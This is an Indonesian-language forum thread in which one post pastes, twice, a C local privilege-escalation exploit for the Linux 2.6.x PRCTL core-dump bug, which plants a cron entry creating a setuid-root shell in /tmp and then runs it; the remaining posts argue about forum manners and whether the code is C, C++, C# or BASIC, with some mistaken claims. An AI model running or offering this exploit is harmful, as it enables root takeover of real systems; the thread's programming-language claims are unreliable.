ini source kode for linux
4 posters
Halaman 1 dari 1
Re: ini source kode for linux
arip wrote:buat si Cs yang kasar !!!!
mas tolong kalau di forum jangan kasar, apalagi sombong, kalau salah akui saja.
omong2 tentang code mas,
saya jadi bingung nih ????
itu program c++ atau c atau c#
kalau c biasanya pakai "void main"
kalau c++ harus pakai "int main"
tidak boleh yang lain
kalau c# saya tidak pernah tahu,
mungkin mas bisa memberi pencerahan ????
" KITA DISINI UNTUK BERBAGI ILMU BUKAN UNTUK MENCARI MUSUH "
kan udah ditulis.....................................
syaf- Pejuang
- Jumlah posting : 63
Age : 78
Lokasi : ~#root | system32
Registration date : 25.02.09
c atau c++ atau c sharp
buat si Cs yang kasar !!!!
mas tolong kalau di forum jangan kasar, apalagi sombong, kalau salah akui saja.
omong2 tentang code mas,
saya jadi bingung nih ????
itu program c++ atau c atau c#
kalau c biasanya pakai "void main"
kalau c++ harus pakai "int main"
tidak boleh yang lain
kalau c# saya tidak pernah tahu,
mungkin mas bisa memberi pencerahan ????
" KITA DISINI UNTUK BERBAGI ILMU BUKAN UNTUK MENCARI MUSUH "
mas tolong kalau di forum jangan kasar, apalagi sombong, kalau salah akui saja.
omong2 tentang code mas,
saya jadi bingung nih ????
itu program c++ atau c atau c#
kalau c biasanya pakai "void main"
kalau c++ harus pakai "int main"
tidak boleh yang lain
kalau c# saya tidak pernah tahu,
mungkin mas bisa memberi pencerahan ????
" KITA DISINI UNTUK BERBAGI ILMU BUKAN UNTUK MENCARI MUSUH "
arip- Pejuang
- Jumlah posting : 36
Registration date : 05.03.09
bagaimana...............sih!!
Emang gak baca tulisan itu........
berarti kamu meremehkan tulisan itu.....................
gak malu ya
dasar.......... baca dengan teliti dulu...
berarti kamu meremehkan tulisan itu.....................
gak malu ya
dasar.......... baca dengan teliti dulu...
syaf- Pejuang
- Jumlah posting : 63
Age : 78
Lokasi : ~#root | system32
Registration date : 25.02.09
betulkah itu ????
mas itu code c++ campur aduk bagaimana ????
emang bisa code itu dicampur?????
kalau bisa coba berikan contoh sederhana code yang dicampur aduk !!!
emang bisa code itu dicampur?????
kalau bisa coba berikan contoh sederhana code yang dicampur aduk !!!
siti maysaroh- Pemula
- Jumlah posting : 14
Registration date : 08.03.09
Re: ini source kode for linux
zz wrote:Buat Cs
source codenya itu basic apa c/c++ ?
isyaallah itu C++ campur aduk
syaf- Pejuang
- Jumlah posting : 63
Age : 78
Lokasi : ~#root | system32
Registration date : 25.02.09
Apakah source code ini Basic ?
Buat Cs
source codenya itu basic apa c/c++ ?
source codenya itu basic apa c/c++ ?
zz- Panglima
- Jumlah posting : 121
Age : 78
Lokasi : france
Registration date : 13.02.09
ini source kode for linux
#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
char *payload="nSHELL=/bin/shnPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/binn* * * * * root cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/coren";
int main() {
int child;
struct rlimit corelimit;
printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00tn");
printf("By: dreyer & RoMaNSoFtn");
printf("[ 10.Jul.2006 ]nn");
corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);
printf("[*] Creating Cron entryn");
if ( !( child = fork() )) {
chdir("/etc/cron.d");
prctl(PR_SET_DUMPABLE, 2);
sleep(200);
exit(1);
}
kill(child, SIGSEGV);
printf("[*] Sleeping for aprox. one minute (** please wait **)n");
sleep(62);
printf("[*] Running shell (remember to remove /tmp/sh when finished) ...n");
system("/tmp/sh -i");
Memakai program basic C
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
char *payload="nSHELL=/bin/shnPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/binn* * * * * root cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/coren";
int main() {
int child;
struct rlimit corelimit;
printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00tn");
printf("By: dreyer & RoMaNSoFtn");
printf("[ 10.Jul.2006 ]nn");
corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);
printf("[*] Creating Cron entryn");
if ( !( child = fork() )) {
chdir("/etc/cron.d");
prctl(PR_SET_DUMPABLE, 2);
sleep(200);
exit(1);
}
kill(child, SIGSEGV);
printf("[*] Sleeping for aprox. one minute (** please wait **)n");
sleep(62);
printf("[*] Running shell (remember to remove /tmp/sh when finished) ...n");
system("/tmp/sh -i");
Memakai program basic C
Terakhir diubah oleh Cs tanggal Sat Mar 14, 2009 7:18 pm, total 1 kali diubah
syaf- Pejuang
- Jumlah posting : 63
Age : 78
Lokasi : ~#root | system32
Registration date : 25.02.09
Similar topics
» Kumpulan kode
» Source code falak
» Perbedaan.........(*..*) !!
» Memulai assembly di linux
» NICE BEGINNING
» Source code falak
» Perbedaan.........(*..*) !!
» Memulai assembly di linux
» NICE BEGINNING
Halaman 1 dari 1
Permissions in this forum:
Anda tidak dapat menjawab topik
|
|